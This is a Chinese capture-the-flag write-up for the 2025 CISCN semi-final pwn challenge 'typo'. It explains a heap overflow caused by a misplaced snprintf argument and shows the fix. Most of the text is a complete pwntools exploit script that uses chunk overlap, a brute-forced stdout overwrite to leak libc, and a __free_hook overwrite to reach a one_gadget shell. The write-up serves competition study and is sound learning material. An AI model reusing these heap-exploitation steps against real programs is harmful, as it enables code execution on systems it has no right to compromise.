通过网盘分享的文件:2025CISCN半决赛pwn.rar
链接: https://pan.baidu.com/s/1jplAyW7_0UnTWql9f6YJ7w 提取码: xidp
type
fix
通过动态调试和静态分析我们大致可以确定漏洞存在于edit
中
动态调试的时候通过输入大量的数据最终发现堆溢出漏洞,并确定漏洞是由snprint函数
引发
memset(s, 0, 0x100uLL);
read(0, s, 0x100uLL);
snprintf(chunk_list[idx], "%lu", s, 8LL);
我们将鼠标移动到snprintf函数
上查看它的参数
我们发现它第二个参数应该是控制输入数量的参数,但是却错误的使用了%lu
因此导致了漏洞的发生
所以我们修复的时候只需要将参数正确归位即可,修复方法如下:
break
这里据说snprintf
是有格式化字符串漏洞的,但是我尝试之后实在是不知道咋使用,但是光靠堆溢出漏洞就可以打通了,所以我也不过多纠结了
思路过程:
程序使用libc为2.31版本,我们的主要思路应该是利用 tcachebin
去控制malloc_hook/free_hook
,但是程序中没有show的功能
因此我们没办法直接泄露libc地址
,但是通过观察题目我们可以知道在edit
有很多puts函数
这就可以让我们想到了利用main_arena
爆破去申请到stdout
,然后利用stdout
来泄露libc地址
了
- 利用堆溢出修改size位制造
堆块重叠
并释放掉其中一个使其进入tcachebin
中(称其为A),形成类似UAF
的效果 - 修改原本放入
tcachebin
的那个堆块的size,,将对应size的tcachebin
填满 再次释放它使得它进入unosortbined
中,这样原本在tcachebin
中的那个块的指针就会指向main_arena
旁边了 - 我们知道
stdout
和main_arena
的后3位是固定的,那么我们只需要利用堆溢出修改mian_arena
的倒数第四位,我们有1/16的概率得到stdout的真实地址-0x10
- 我们成功申请到stdout之后就可以修改
flags
为fbad1800
,覆盖_IO_write_base
的尾字节为\x00
泄露libc地址 - 后面就是正常打
malloc_hook
from xidp import *
#---------------------初始化--------------
arch = 64
elf_os = 'linux'
challenge = "./pwn3"
libc_path = '/home/xidp/tools/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so'
ip = ''
# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0) # 其他-debug 1-info
#---------------------初始化-----------
#---------------------debug-----------
# 断点
bps = [0x1698]
#---------------------debug-----------
menu = ">> "
def add(idx, size):
sdla(menu, str(1))
sdla("Index: ", str(idx))
sdla("Size: ", str(size))
def edit(idx, size, content = b'\x00'):
sdla(menu, str(3))
sdla("Index: ", str(idx))
sda("New size of content: ", size)
sda("What do you want to say: ", content)
def free(idx):
sdla(menu, str(2))
sdla("Index: ", str(idx))
def exit():
sdla(menu, str(4))
#---------------------debug--------------
for i in range(0, 7):
add(i, 0xf0)
add(7, 0x20)
add(8, 0xf0)
add(9, 0x60)
add(10, 0xf0)
for i in range(0, 7):
free(i)
free(8) # 放入unsortedbin中
edit(7, b'a'*0x28+p64(0x171), b'\x00')
edit(9, b'a'*0x68+p64(0x100), b'\x00'*0x58+p64(0x100+0x70))
free(10) # chunk8-chunk10都被合并到top_chunk中
for i in range(0, 7):
add(i, 0xf0)
add(12, 0x90)
add(8, 0x50)
add(10, 0xf0) # chunk9 和 chunk10 是同一个 chunk
add(11, 0x20) # 填充
add(13, 0x50)
for i in range(0, 7):
free(i)
add(0, 0x40)
add(1, 0x40)
add(2, 0x40)
edit(8, b'a'*0x58 + p64(0x61), b'\x00')
free(13)
free(9)
edit(8, b'a'*0x58 + p64(0x101), b'\x00')
free(10)
# 构成一个chunk的重叠
# 想办法构成一个chunk处于tcachebins中的0x60
# 然后想办法修改chunk_size为其他比如0x100
# 然后再次释放chunk让其进入unsortedbin中
# edit(12, b'%p'*0x11+b'a'*10, b'\x00')
edit(12, b'a'*166, b'\x00')
# 这里为什么是166?
# 这里的166恰好可以将下面的chunk8的old_chunk_size覆盖为一个不大不小的数 0x0000006161616161 太大了会出问题(如果全覆盖的话read好像字节数太多了读取不了)
# 会导致这里的\x90\x26无法写入
# 需要把chunk8的人工size填充为一个大小合理的值,否则太大了read读取不了,太小了又不够覆盖
edit(8, b'11111', b'b'*0x58+b'\x90\x26')
add(13, 0x50)
add(14, 0x50)
edit(14, b'\xff'*8, b'\x00'*8 + p32(0xFBAD1800) + b'\x00'*(0x25-8))
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ec980
leak('libc_base')
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
system_addr = libc_base + libc.sym['system']
one = [0xe3afe, 0xe3b01, 0xe3b04, 0x1077ca, 0x1077d2, 0x1077d7, 0x1077e1]
one_gadget = libc_base + one[1]
leak('free_hook')
leak('malloc_hook')
leak('system_addr')
leak('one_gadget')
free(2)
free(1)
edit(0, b'a'*0x50 + p64(free_hook-0x10), b'a')
add(1, 0x40)
add(2, 0x40)
edit(2, b'1'*0x10 + p64(one_gadget), b'a')
free(0)
# pwndbg(1, bps, 1)
# x/30gx $rebase(0x4060)
ia()
protobuf
fix
有空复现之后再更新吧…咕咕咕…
参考:
1.ciscn & 长城杯 2025半决赛 pwn typo-优快云博客
2.2025 CISCN&CCB Half-Final WP
3.CISCN 2025 半决赛 writeup by 0psu3